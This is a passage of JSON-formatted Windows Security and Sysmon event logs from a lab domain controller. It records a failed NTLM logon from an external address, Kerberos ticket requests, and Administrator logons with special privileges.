ll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221707,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53123\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53123","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221708,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221709,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221710,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221711,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44F09\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x44f09","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221712,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44F09\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x44f09","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221713,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221714,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221715,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221716,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x451D8\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x451d8","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221717,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 